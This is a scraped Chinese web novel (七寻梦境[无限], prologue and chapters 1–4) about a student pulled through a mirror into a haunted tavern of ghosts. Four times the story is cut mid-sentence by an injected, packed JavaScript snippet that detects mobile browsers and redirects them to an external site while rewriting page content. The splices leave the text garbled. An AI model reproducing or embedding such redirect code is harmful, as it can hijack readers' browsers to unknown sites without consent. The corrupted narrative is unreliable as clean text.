《七寻梦境[无限]》 1. 契子 黑漆漆的房间里,水声滴答滴答作响,晾在寝室的衣服被夜风吹的摇摇晃晃,扰人美梦。 七寻…… 七寻…… 是谁在叫我? 七寻…… 那声音始终叫着,不断唤着,像在情人耳边呢喃,黏腻不舍,又像在唤乳名,亲昵不带一丝恶意。 周围的一切都笼罩在黑雾之中,什么都看不清。可七寻并不感到害怕,因为那声音令她感到熟悉。 好亲切的感觉。让她想要靠近。 是谁? 你是谁? 她喊不出来,想呐喊眼眶却先一步漫上热意。她想抓住什么,却不知所措,只能跌跌撞撞地往前追。 跌破曙光,她摔在了浓密的带着泥土味和青草香味的草地上。 “你好。” 少年眼睛亮亮地的望着她,问道:“你还好吗?” 眼前是个拥有极致美貌的少年,皎洁干净,穿着白体恤,几缕过长的头发有点遮眼睛,却掩盖不住他眼中的清澈温和。 七寻就那么毫无防备地跌入他眼中,她看到自己迷茫的脸,以及那颗猝不及防下流下的眼泪。 “我……还好。” “我可以扶你起来吗?”少年礼貌问道。 “谢,谢谢。”七寻盯着少年的脸,有些结巴道。” 少年举止很有分寸,轻轻拉住七寻的手腕,搀扶着胳膊将她扶了起来,并不过多靠近,眼睛却一直看着她。 无边无垠的草地,不燥不凉的天气,日悬杆头,空气中带着花草的清香,风一吹,蒲公英飞向远方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322556|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切都是美好的,像那些治愈心灵的印象派油画,吹拂着受伤的灵魂。 七寻闭上眼睛站在骄阳下,不由自主地张开双手,感受那丝丝从掌间溜走的风。不知是不是她的错觉,她感觉风大了些,让人感觉轻飘飘的,仿佛畅游在风的海洋中。 清风带去所有烦恼,向蔚蓝天空吹去。少女皎白裙摆摇曳,似最美的舞姿,让人沉迷。 七寻微微睁开眼睛,“这里好神奇,让我感觉到很舒服。” “这是哪里?” 少年笑容未变,灿烂如星辰,“这里是我的归宿,是神的世界。” 神? 这对七寻来说太过陌生。 他眼中带着溺人的柔光,向七寻伸出手,温善道:“我可以邀请你一起,游玩吗?” 2. 勾错魂 窗外的雨窸窸窣窣地下,雷声轰隆隆不断,重重砸在人心口上。 寝室门被人推开,李小琴小心翼翼打开寝室门。 正当她以为寝室里面没有人的时候,上床靠右的床帘“哗啦”一声被人拉开。 “小琴?你回来了啊。”七寻刚睡醒,迷迷糊糊的,没有注意到小琴煞白的脸。 七寻踩着楼梯下来,脑子还是有些晕。瞅瞅窗外阴沉的天和叮叮咚咚的雨,出于住在一个寝室,她提醒的一句:“好大的雨,等会上课多穿点吧。” “……好,我就是回来加衣服的。”小琴笑得有些勉强,说完眼睛慌张地瞟着,“她们两个在寝室吗?” “不在。今天有早八,我不太舒服,还让她们帮我请了假。” 七寻眉头微蹙,感到奇怪。 小琴是外院分过来的,上课时间跟她们不一样,但自从这学期交个快毕业的男朋友,她上午没课,但是寝室其她人有早八的时候,小琴就会跟着男朋友在外面住。 按理说她应该知道另外两个人不在寝室,但七寻现在脑子昏昏的,也就没太在意。 小琴像是庆幸,松了口气,动作别扭地捂着肚子坐在自己的座位上。 七寻打开衣柜,看着里面寥寥无几的衣服,思考着穿什么才能让自己不挨冻。 窗外电闪雷鸣,寝室的窗户被刮得“呼呼”响,阳台上晾晒的衣服剧烈地晃着,像几只追魂索命的吊死鬼,一下一下挤压着李小琴的神经。 她不安地整理着等会儿要上课用的书本,鬼使神差间抬起头,闪电亮起来的那一瞬,衣柜全身镜中七寻那张白净的脸猝然变成一张流着血泪的狐面。 狐面眉眼弯弯,狞笑着吐出一句句血咒。 “啊——” “轰隆——” “咔嚓——” 尖叫声、雷声、镜子碎裂的声音糅杂一团,直冲太阳穴,七寻被吓得一哆嗦,鸡皮疙瘩都起来了,顿时困意全无。 见小琴害怕地缩在桌子旁,她走上前查看。 “怎么了?” 七寻刚伸出手想扶她起来,就被李小琴一把推搡开,她带着哭腔喊道:“滚开,别来找我!” 后背猛地撞在全身镜上,七寻疼得闷哼一声,她揉了揉后背,却摸到了一片潮湿,忽明忽暗的光线下,她看到自己手上沾满了猩红的血。 “咔嚓……咔嚓……” 镜子上的裂纹不断延伸,爬满整个镜面。血从裂纹中浸出,寝室里传来狐狸此起彼伏的怪笑声,在李小琴尖锐哭喊声中,七寻的脚裸被血泊中的生出的枯手拽住。 寒冷刺骨的阴气冻得七寻头皮发麻,她试着挣了挣,没睁开,一把拿起室友户外拍照的手机支架砸了下去。岂料枯手纹丝不动,反倒是她的脚被震得生疼。 “滚开!” 粘稠的血不断往七寻身上涌,带着发吐的恶臭味,枯手拽得越来越紧,像是要将她撕成肉块。 这到底怎么回事! 七寻大脑飞快运转,忽地背后发凉,无数枯手从她背后探出,将她拖入镜中。 再一睁眼,眼前全然变了一番模样。 七寻怔愣地站在人行车马间,警惕地看着眼前飘满红绸,满是森冷之气的酒楼。 “这位小姐看着面生,可是从外面来的?”一个粉面桃妆的男人依偎在她身侧,笑眯眯地眨着那双狐狸眼,眸中情丝缠绵,勾人心魄。 七寻眼中清明一闪即灭,原本退拒的手挑逗般按在男人胸膛上,结巴地说:“你,你干嘛离我这么近?” 男人像是伤心极了,用衣袖抚泪,神情怯怯,“看小姐面善,便想着亲近一番,未曾想被这般嫌弃~” “我,没有嫌弃你的意思。”七寻有些慌张。 “真的吗?”桃夭泪潸潸,恳切问道:“奴家叫桃夭,可否请小姐赏脸到楼中国喝杯茶?” “那多不好意思啊……” 七寻脑子晕乎乎的,想不明白为什么一个男子能长得这么妖艳,半昏半醒间就跟着他去了。 天冒血光,阴风拂过红帐飘飞,酒楼外响起阵阵轻盈铃声,大门牌匾上挂着“昭雪楼”三个大字。 待七寻回过神来,人已经在楼里了。 周围吵吵嚷嚷,酒客有男有女,络绎不绝,只是这些酒客面色青白,一副营养不良的模样。 七寻被桃夭带到小隔间坐下,一盘盘精美佳肴从屏风外端至桌前,她闻着空气中那股蛊人的味,肚子不争气地发出“咕咕”响声。 桃夭以扇掩面,笑吟吟道:“吃吧吃吧,奴家这酒菜管够。” 接着,一个个容貌俊美,敞着衣衫的男子鱼贯而出。他们争先恐后地将七寻围在中间,讨好般伺候着。 “这些不好……”刚刚还迷瞪的七寻一把将男人们推开,不耐地从椅子上爬起来。 桃夭笑容一泄,竖瞳微显。 窗外红光愈浓,时间好似凝固了一瞬。 七寻拿起酒盏猛灌了一口,忍着羞怯,有些难以启齿地开口:“你这,可有漂亮姐姐?” 桃夭一愣,抬眼间眼瞳恢复正常,他笑得开怀,揶揄道:“原来姑娘您好这口,这酒楼里别的没有,漂亮姑娘可多的是。” 七寻嘿嘿一笑,白净的脸上透着一股子纯良。她酒量不佳,只喝了一杯说话就开始打飘了:“那就好那就好~” 男人们幽怨地退下,换上一众好看的美娇娘。 她们一个个衣着华丽,美得清新脱俗,媚得摄人心魄,叫人忍不住心生怜惜。 青衫姑娘款款走来拿起桌上了酒盏,待倒上满满一杯,便伸手扶着七寻把酒盏抵在她唇边,哄道:“小姐,再来一杯?” “好……”七寻笑呵呵地正准备凑上去,就被另一位红衫姑娘挑过下巴揽入怀中,那姑娘笑容艳丽直晃人眼,七寻痴迷地捧着她的脸,说:“你怎么比她还好看些……” “小姐,喝奴家的吧。” “喝!” 青衫姑娘好看的眉眼攀上一抹不顺,素手拽过七寻,瞪着红衫姑娘道:“你这人好不讲理,小姐说过要喝的是我的酒。” 红衫姑娘气势分毫不弱,道:“自己没本事就不要在这胡搅蛮缠,小姐也说过要喝我的酒。” 一个软声哄:“喝我的!” 一个娇声威胁:“喝我的!” 两人正争执着,手中的酒盏被人一把夺过。 七寻将两杯酒各倒一半,然后混在一起,一口灌下。 两姑娘皆是一惊,很快掩去眼中异色。 “吵什么嘛,都喝不就是了嘛。”七寻醉醺醺地打了个酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322557|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗝,一只手一个,将人揽入怀中,她脸颊红得发烫,还不忘哄人:“良辰美景,别为这点小事伤了和气。” 见此,美娇娘们起哄道:“小姐~哪来的美景呀?” 七寻吃着对方喂过来的糕点,口齿不清:“美人在怀,不是美景是什么?” “小姐这是夸我们比景色更美咧~” 也有不上套的,噘嘴道:“嘴跟抹蜜似的,真会哄人。” “哪是哄你了嘛,我说的都是实话。” 站在屏风外的桃夭望着屋内其乐融融一片,橙金色竖瞳毕露。 楼外圆月高悬,夜幕被血色浸染,阴风呼啸间卷起红帘,烛灯骤灭,酒楼里的人影在一瞬间消失得无影无踪。 “怎么回事,灯怎么都灭了……” 七寻捂着头摇摇晃晃地站起身,眼前飘过几道重影,那重影灰暗,看不清具体是什么,只看得清上面挂两赤红灯笼。 “呼呼——” 黑暗中,周围的红灯笼越来越多,被风吹得摇摇晃晃的,离她越来越近。 七寻后背生出凉意,她不由得抖了一下,嘴唇哆嗦地问:“你们跑哪去?不是要陪我喝酒吗?” 肩上覆上凉意,七寻一回头,一只青面鬼趴在她背上,双目淌血,脸上带着诡异的笑意:“小姐,奴家陪你喝酒呀~” 七寻面色一紧,刚想推开她忽得腿一软,脑袋“砰”地一声砸在桌子上。 她强撑着抬头,透过飘飞的红帐,终于看清自己周围的到底是什么——那是一只只血目青鬼,她们直勾勾盯着她,像在看即将吞卸入腹的猎物。 七寻黑色瞳孔骤缩,眼皮昏沉,很快陷入黑暗。 红衣女鬼挑起七寻的长发,又嫌弃般甩开:“还是这么好骗。” “哼,只要中了桃夭的媚术,清心寡欲的和尚都能变成色中饿鬼,更何况是一个还没出社会的小屁孩。”说着,青衣走上前,尖锐的指甲往七寻纤细白净的脖子抓去。 指甲刺破血管的前一刻,桃夭抓住了她的手。 青衣瞪着他,不满地收回手。 “迟早要埋的,为何不能杀?” 桃夭眼睛微眯,幽幽道:“你们勾错人了。” “勾错了就勾错了,难道还能送回去不成?” “今日气性怎么这么大?”红衣没骨头般靠在门栏上,眉目轻佻:“就因为她说你没我漂亮?” 见青衣面色阴沉,红衣笑得停不下来,“人家说的实话,何必介怀嘛~” “放屁!” 她们争执了会儿,很快将目光移到七寻身上。 “你说勾错了是什么意思?” “这次要勾的是那个李小琴,不是她。” 青鬼不讲理道:“天下色鬼一般黑,你也看到她刚刚那色胚模样了,捞了油水就得给老娘死,我管她是谁!” 红衣了解她的脾气,无所谓道:“今天埋?” “当然是今天,不然……”她正说着,忽地,众鬼面色一变。 一只骨节分明的手从她耳侧探过,挑起她下巴强硬地掰过去,与那人对视。 原本昏睡的人不知何时站在了她身后,身上带着比鬼都冷的冷气,那双黑白分明的眼睛直勾勾盯着她,似鬼魅般不带一丝气息地问:“孤娘,你为何勾我?” 3. 驱鬼符 “什么时候……”青衣红瞳微缩,一溜烟从七寻怀中逃至红衣身侧。 七寻摩挲着手指尖的凉意,略带羡慕地说:“还是做鬼好啊……” 桃夭笑眯眯地看她,狐狸眼中透着诡异的光,“你从一开始就没中媚术。” 青衣目露凶光,没中媚术还敢在她身上捞油水,更该死! 她再度扑上去准备宰人,只见小屁孩惊疑地望着她们身后,“李小琴?你怎么在这?” 李小琴? 那个本该被她们勾入镜中的人。 众鬼转头,哪有什么李小琴! “桃夭,她跑了。”红衣出声提醒。 众鬼及桃夭回身看去,只看到七寻从窗边一跃而下的残影。 “呼——”幸好是在二楼,还有红帐减缓冲击力,不然她也不能保证能安全落地。 七寻夺命狂奔,瞬间跑出酒楼百米外。 “咔塔”,脚下踩着什么东西,低头一看,竟然是她之前顺手抓来的户外三角自拍杆。 七寻赶忙捡起来,用衣服擦去上面的污泥,想着等出去之后还给她室友,这样就不用花钱再买一个了。 “别白费力气了,你跑不了的。”桃夭手中拿着折扇,那双橙红竖瞳已尽是阴冷之色。 耳边传来阵阵森冷笑声,眨眼间她又置身在了高大的四合院式酒楼中,被众鬼包围在内。 一股凉意从脊背爬上脑髓,七寻终于意识到她不可能轻易逃出这里。 “你知道只有桃夭能出酒楼,所以拼尽全力也要逃出去。”红衣飘飘然依靠在她身侧,拍拍她白净的脸,笑容妩媚妖艳,“小聪明可真不少。” “可你有没有想过,这酒楼是活的呢~” 七寻紧抿着唇不说话,酒楼是活的,就可以像房车一样带着里面寄宿的鬼到处行走。 它就像只没有獠牙的怪物,只管将活人吞入腹中,自有恶鬼帮它消化。 “费什么话,直接宰了她就是了!”青衣迎面冲来,利爪朝七寻心口抓去。 要糟! 七寻脸色苍白,下意识抬手抵挡。 “啊——” 以七寻为中心,酒楼里迸出强烈的佛光,鬼魅尽数褪下,大风刮过,院中空空如也,只剩桃妖还好好地站在她面前。 “驱鬼符。” 七寻看着支架上坠着的锦囊,想起这是室友之前噩梦连连,整夜整夜睡不好觉,去佛门寺院里求来的驱鬼的符咒。听说自那以后室友睡眠平稳,不再受噩梦侵扰。 七寻当时知道后还觉得是室友心理作用,没想到这锦囊真有用,还在阴差阳错下救了自己一命。 七寻将锦囊绑好,冷冷看他,“你不是鬼?” “不。”桃夭摇摇头,下一刻如鬼魅般出现在七寻面前,“我是。” 折扇“哗”地一声展开,染血的扇面从七寻颈脖间擦过,被支架抵挡住。 七寻手腕被震得发麻,她用余光观察着周围,借力后退几步后,像只老鼠,开始四处逃窜。 “等抓到你,你就等着被我抽筋扒皮吧!” 阴毒的威胁紧跟在身后,好似下一刻那人就会出现在自己身侧用扇子割破她的血管…… 血脉喷张,她会悄无声息地死在这里…… 七寻强忍住脚腹战栗,让自己镇定下来。她现在对这里一无所知,不知道这些鬼口中的“死”是真死还是假死,如果是一场梦,那她大可不必这么费劲心力逃跑,但若是真的,她就算把自己累死,也不要死在这些鬼怪手里。 她脑子飞快运转着,快速窜到酒楼里面。 四周暗得只能看见些许亮光,好在七寻夜视能力还不错,不至于当睁眼瞎。 阴风拂过,七寻刻意放缓呼吸,她躲到被红绸遮盖的桌子下,刚一进去,手上就摸到了个沾着黏稠液体的硬物。 那硬物凹凸不齐,上面圆溜光滑,下面破了两大窟窿……七寻意识到什么,心口一紧。 大一的时候她帮过美术学院的同学代课,她们美术解刨课上用过这玩意儿。 上课用的是道具,这里的就不一定了。 七寻默默收回手,硬物突然亮起幽幽绿光,赫然是七八个带血的骷髅头。 “……” 七寻吓的心一梗,没有丝毫犹豫地窜到另一处,可无论她跑到哪里,哪里的骷髅头就会亮起,简直比声控开关还灵敏。 身后阴风紧追不舍,忽得,一只苍白的小手搭在了她肩头。 鬼童眨着双黑黝黝的眼睛,咧着嘴巴笑着对她说:“姐姐,我给你带路呀。” 七寻不说话,她怕引来桃夭。 “姐姐不用怕,我不会害你的。” 鬼童走在她前面,见她没动,回过头用那双漆黑的眼睛凝视着她:“姐姐,不跟我走,会死的喔~” 七寻心头打鼓,犹豫两秒还是跟着他去了。 至少,暂时没有威胁。 七寻隐约感觉到一直跟她的阴风散了些,于是试着开口问道:“这里到底怎么回事?” “我不知道,但是姐姐可以自己猜。” 他这模样哪像是不知道,分明就是不想告诉她。 七寻脑海中浮现“昭雪楼”三个字,沉冤昭雪,昭的是谁的雪? “只要查清楚这里发生过的一切,是不是就可以出去了?” 鬼童没摇头,也没点头,只是古怪地笑着。 “到了。” 顺着鬼童视线方向看去,只见一棵挂满红丝带的柳树下埋着一座孤坟,那坟墓被红线和铜钱圈住,徒留一块小空地供那穿着红色官袍的残魂坐着。 待七寻走近,她才发现自己看错了,那残魂并非坐着,而是跪着,只是他膝盖以下的腿都没了,从远处看很容易让人误会。 听到脚步声,男子语气中带着仇怨和不满:“你又来作甚?” 没听到回答,男子转过身,看向七寻的眼神分外惊讶,不过很快被他掩饰住。 “你是?”他面色一改,看着分外良善。 七寻没回答,反问道:“以前有人来过?” “除了这里的鬼魂,你是我见到的第一个生人。” 第一个么…… 难道就没有人逃出去过? 七寻敛去眼中异色,问他:“这里到底发生过什么?” 既然要查明这里发生过什么,就要多找些线索。 桃夭他们恨不得立马宰了她,肯定不会告诉她,只有眼前这个残魂,看着还算好说话。 “在下李清,是百年前天楚王朝的一名文官。” 李清顿了顿,看着孤坟,目露哀伤,“这里埋的,是下官内人。” “我与她结发为夫妻,不久后天降大雨,风雨漂泊,我受陛下旨意治理水灾,数月不曾归家,她担心我,便去寒露寺为我祈福。” “岂料盗寇横行,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322558|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因容貌娇美遭贼人惦记,被人掳了去。”李清说着擦擦脸上不存在的泪,眼中射出与他面目不符的怨毒。 “后来我治水回来,得知消息后苦苦哀寻,才在这酒楼找到她。” 七寻问:“你带她回去了?” “我想过,但她不愿。”李清垂眸,弯着脊背说:“她说她失了清白,无言再跟我回去。” “再后来家中母亲得知此事,以命相要逼我写下休书,我没办法……” “她知我苦楚,应下了。” 七寻做出了然之色,忽然问:“不管是民间还是皇家,祭死人都是披麻戴孝,为什么你却穿着一身红袍跪在这里?” “她喜热闹,若在下面没伴,恐要掉眼泪了。” “生前不能做夫妻,便做冥婚?” “你待她还真是情深。”七寻故意艳羡般说着,眼睛却紧紧盯着李清,自然没有错过李清目中一闪而过的怨恨。 “是……” “砰——”一坛酒从七寻头上砸过,桃夭带着一身杀气从阴影里缓缓走出,他面上无温,满含讥讽地说:“鬼话连篇,装作一副深情模样,心却比死了千年的鱼虾还糜烂。” “这世上若真有抓恶鬼的道士,恐怕第一个就将你斩了。” “还有你……” 鬼童与他对视上,不屑地对着他吐了口唾沫。 桃夭竖瞳微凝,手中折扇一挥,瞬间将那嚣张的鬼童击飞了出去,“一只刚修炼成形的小鬼,也敢帮着生人掩盖气息,带她来这禁忌之地,真是活得不耐烦了。” 再转头,七寻早在势头不对的时候跑了。 “没了那小鬼,你真以为你能逃出我的手掌心!” 折扇卷起阴风,桃夭和众多酒坛子一起急速朝她面门袭来。 七寻边跑边回头看,发现逃不过,干脆停下脚步。 她摸出锦囊中的驱鬼符,抱着试一试的心态将驱鬼符贴在支架上。 桃夭也是鬼,是鬼就怕驱鬼符,只是这人看着道行很高的模样,这符咒对他伤害不大,但简单阻击一下应该还是够的。 至少不能让他近身,不然今日真要死在这。 她双脚站定,眼神坚毅。 面对来势汹汹的桃夭,七寻暗自在心中安慰着自己:没事的没事的,就算不会耍剑,只要拿出打棒球的气势,就一定可以…… 桃夭看着七寻的动作微微一愣,以为她要束手就擒,心生愉悦。 估算着距离,七寻拿着手中的支架,稳稳拿捏快准狠三个字的精髓,狠狠将酒坛击碎,然后面带熊熊杀气,一棒子砸在桃夭脸上。 碎片和酒液飞溅,七寻没躲过,脸上被划出几道血痕,但她无暇顾忌。 见桃夭被击飞出去,她忍不住得意,看来大学体育选修的棒球课没白学。 七寻不做停留,准备躲进酒楼里。 她记性不错,刚刚在里面逃窜的时候,就已经记下骷髅头的位置了,只要不碰,应该能在里面苟一会儿。 至于调查真相,还是等她先保住命再说吧。 她抬步欲走,心口猝然被一股阴气刺穿。 青衣吊着红帐飘到七寻面前,哼声道:“没了符咒,我看你还怎么跑。” 七寻下意识看向手中的符文,才发现符纸被酒水染湿,上面的经文早已模糊不清,已经失了功效。 这么快就失效了吗? 她要死了吗…… 4. 雨中劫 “今日来得真不是时候……” 马车外下着倾盆大雨,青衣姑娘吃着糕点,嘴上还嘀嘀咕咕地歇不下来:“老天都跟我们作对,我看就没必要去寒露寺求。” “讨个吉利而已。” 寒露寺? 七寻在颠簸中睁开眼睛,还没反应过来,整个人被震飞了出去。 脑袋撞上温软的怀抱,头顶传来一声:“嘶——” “小四!我都叫你不要来了,你偏不听!小不点一个,别的不会,净让红鸾为你操心。”那人不满地将七寻扯下来,担忧地对那个叫红鸾的姑娘说:“快让我看看。” 红鸾任由她摸着,问外面:“怎么回事?” 车夫慌张的声音从雨中传来:“这,这有个死人!” 马车里静了一瞬,七寻彻底醒了过来。 “别怕。”脑袋被人重重蹂捏了一下,青衣姑娘与她擦身而过,掀起帘子,撑着伞走了出去。 外面窜进来些许寒气,红鸾帮七寻拢了拢衣袍:“你身子不好,小心染上风寒。” 七寻指尖微烫,抬头看向红鸾——那是张与红衣女鬼一般无二的脸。 还不待她想明白,外面传来一声惊呼:“红鸾,是个姑娘,还有气!” 寒露寺,内人,李清……这人莫非就是李清的妻子,那个被埋在昭雪楼里的人? 红鸾微微掀开帘子,探出头去,“带去寒露寺吧,寺里的和尚医术了得,说不定能救她一命。” “她浑身是伤,恐是个……” “青颜,救人一命胜造七级浮屠,带上来吧。” “哦。”青颜心里不愿,但还是听红鸾的话,把人抱上了马车。 青颜进来之前提醒道:“小四,你坐里面些,这人身上染了寒气,小心她把寒气过给你。” 七寻不想被人发现异端,乖乖回应。 喉咙发不出声,竟是个哑女么…… 这马车不算大,三个人已经有些拥挤了,现在又上来个半死不活的人,青颜腿脚伸张不开,难受得很。 见状,红鸾对七寻伸手道:“小四,我抱着你。” 七寻正犹豫着,喉间突然袭来一股强烈的窒息感,好像无形中有人用线勒住了她脖子…… 七寻急忙伸出手拉住红鸾的手,窒息感瞬间消失。 到底是怎么回事? 脸颊被人捏住,七寻懊恼地看着红鸾。 “怎么感觉又瘦了些?雪月楼虽然落魄了,但也没少你吃食呀。” “她就是挑食。”青颜一边帮人包扎着伤口,还不忘训道:“整天这也不吃那也不吃,嘴刁的很,依我看就得饿饿她,知道饿了就什么都吃了。” “出的什么馊主意,饿坏了怎么办?”红鸾将手帕递给她,“快擦擦吧。” 一路风雨,伴着青颜喋喋不休的说话声,七寻听到了从古寺传来的阵阵悠远钟鸣。 “小姐,到了。” 青颜抱着伤患下来,红鸾帮她打着伞,还不忘嘱咐七寻:“小四,雨天路滑,你一个人走要小心一点,莫要摔着了。” 七寻将伞举高了些,让她看到自己在点头回应。 “阿弥陀佛,施主快到里面来。”老和尚见她们中有人受伤,连忙让小和尚拿来行医用的工具。 红鸾守在一旁问:“她怎么样了?” “刀伤颇深,施主救得及时,再晚些恐怕就没命了。” “能救回来就好。” “这雨下得猛烈,施主就在这留宿一宿,待雨停后再走吧。” 红鸾:“多谢。” 等青颜将受伤的姑娘擦拭完身体,换上干净的衣服,惊奇地发现这姑娘竟然长着副天人之姿。 “红鸾,要不我们把她拐去酒楼吧?” 红鸾收拾着东西,无奈摇摇头:“人家清清白白的姑娘,干嘛要跟着我们去卖唱?” “你怎么知道她清清白白的?” “她衣兜里有医者行医用的金针和医书,应当是个江湖郎中。” “女郎中?”青颜讶异,钦佩道:“真是不多见呢……” 七寻刚在床边坐下,就见人醒了。 她见对方嘴唇干得起皮,细心地端来一杯温水递到她嘴边。 “多谢。” 青颜和红鸾也发现了,走过来将七寻挡在身后。 青颜转身点着她鼻尖,自认为很小声地数落她:“小孩子不要随便靠近陌生人。” 七寻抓住她的手,不服气地甩开。 “小屁孩。” “多谢,多谢你们救我咳咳……” 她咳得停不下来,恐把伤口咳裂开,红鸾拿过七寻手中的杯子,又倒了杯温水给她润喉,“喝吧。” 青颜搬过来一条凳子,大马金刀往那一坐,道:“说说你的来历吧。” 七寻坐在一旁,认真听着。 她应当是没死的,只是寄宿在这个类似梦境一样的地方,就像她一开始被拐到镜子里一样。 从她见到的两个人来看,青衣女鬼应该就是曾经的青颜,红衣女鬼就是曾经的红鸾,至于她们口中的“雪月楼”应当就是日后的“昭雪楼”了。 虽然不知道她为什么还能活着,但昭雪楼里曾经到底发生过什么,这也许是她唯一一次勘破真相、得以逃出生天的机会。 冯涯,果然如红鸾所说是个行走江湖的女郎中。 至于其他的,她不欲多说,只说养好伤后就自行离开,不会牵连她们。 “你可有去处?” 冯涯小脸苍白,紧抿着唇没说话,一副我见犹怜的可怜模样。 “你身上穿的是南林特有的衣服样式,不久前南林大灾,死了不少人,你是从南林逃来的吧。”红鸾不给她反驳的机会,锐利的眼睛紧紧盯着冯涯,笃定道:“这本医书上的方子是专门治疗瘟疫的,你是为了避祸逃难于此?” “瘟疫!”青颜吓得脸色苍白,眼疾手快地拉着红鸾和七寻离冯涯远远的,“红鸾说的可是真的?我们可是你的救命恩人,你莫要隐瞒!” “是真的……不过南林的瘟病已经控制住了,我没有染病,你们大可放心。” 七寻暗自思量着,这人一直有意隐瞒,难道昭雪楼里的人是因为感染了瘟疫才横死的? 那也不对。 桃夭的态度不对。 他对李清怀着深深的仇恶,恨不得对方下地狱、被千刀万剐,又觉得对方死不足惜,将他留在坟前赎罪。 对坟墓里的人,却是维护地紧。 如果昭雪楼里的人因冯涯,桃夭没理由对她那么好。 而且她现在还不能完全确定冯涯就是李清内人。 拿到手的信息太少了,推断不出个所以然来,不能着急,得徐徐图之。 青颜威胁道:“你最好说的是实话,不然我要你好看。” 冯涯不知怎地被她逗笑了,咳了几声,说:“自然。” 她在病中,又是难得一见的漂亮姑娘,笑起来格外容易让人心软。 冯涯最后还是跟着七寻等人回了雪月楼。 她身无分文,身上、腿上的刀伤需养好些时日才能好,寺庙香火重,人流混杂,不是养伤的好地方。 “雪月楼近来冷清,也不嫌多你这么个人……要是实在过意不去,日后留在雪月楼给姑娘们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322559|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当大夫还债,也未尝不可。”红鸾劝道。 青颜缩在红鸾后面小声嘀咕着:“这一趟佛没怎么拜,还捡回去个麻烦,妈妈要恼了……” 冯涯低眉应下。 为照顾冯涯,众人在寒露寺多待了几日。 等到第四日,终于启程。 来时风雨兼程,回时烈阳高照。 红鸾掀开车窗的帘子,笑得明艳:“是个好兆头。” 七寻跟着点点头,忽然手腕被人拉住,回头一看,是冯涯。 “她说不了话么?” “对,打娘胎里带的,找了不少大夫,都说治不好。”青颜看她动作,期盼道:“难道你有法子?” “是有些棘手……”过了好一会儿,冯涯才道:“有,但不一定能成功。” “真的?!” 这下连红鸾都看了过来。 青颜激动地摸摸七寻脑袋,说:“有法子就够了,以往那些大夫瞅一眼就跑了呢。” 七寻切身实地地感受着对方身上那份雀跃,常年紧绷的精神不由自主地放松下来。 “这酒楼真大。”冯涯拄着拐杖,惊叹地说。 “就是近来生意不好,南边城来了家同行,她们那有西域来的美人,能歌善舞,那群臭男人屁颠屁颠地都跑了……”青颜话锋一转:“要不是妈妈愁得让我们俩去寺庙求个好兆头,你恐怕早就命丧黄泉了。” 冯涯笑笑:“那我该谢谢她。” 几人一到后院,一位打扮得花枝招展的老鸨快步走来。她一手摇着扇子,一手拉起红鸾的手嘘寒问暖:“哎哟祖宗,你们可算回来了,再不回来我都要担心你们是不是出事了。” “本来生意就不好,要是你们这两个也没了,妈妈我找谁哭去!”她说着,眼睛却紧紧黏在冯涯身上,“这位是?” “让妈妈担心了。”红鸾简单解释了一下冯涯的来历和身份,让她放心。 “是个好姑娘,可我这不是吃白饭的地方……” “妈妈放心,我不吃白饭。” 老鸨细长的眉毛一挑,显然没想到冯涯是个有眼色,赞赏地看了眼红鸾和青颜,连带着看她们身边那个小拖油瓶都顺眼了不少。 “我这楼的姑娘卖艺不卖身,不知姑娘会些什么?” “小女出身商贾之家,略懂些经商之道,我可以帮妈妈招揽生意。” 青颜不满地说:“你之前怎么没说?” 冯涯笑眯眯的,“你们之前也没问嘛。” 这跟老鸨想得有些出入,她一时没反应过来,半响才喃喃道:“咋听着不大靠谱呢?” 冯涯自信满满地说:“靠不靠谱,试试不就知道了?” · “这风花雪月楼怎么一夜之间生意兴隆了?” “听说有高人指点。” “高人?我倒要看看是哪方高人。” 男子们你推我赶着走进酒楼,刚进去便被带香衣袖拂面,待轻纱远去,徒留美人眉眼在脑中流连。众人纷纷瞪大眼睛,直勾勾看着那从天而降又翩然远去的舞姬。 “妙哉,美哉!” “官人,今日这酒可要喝个痛快?” 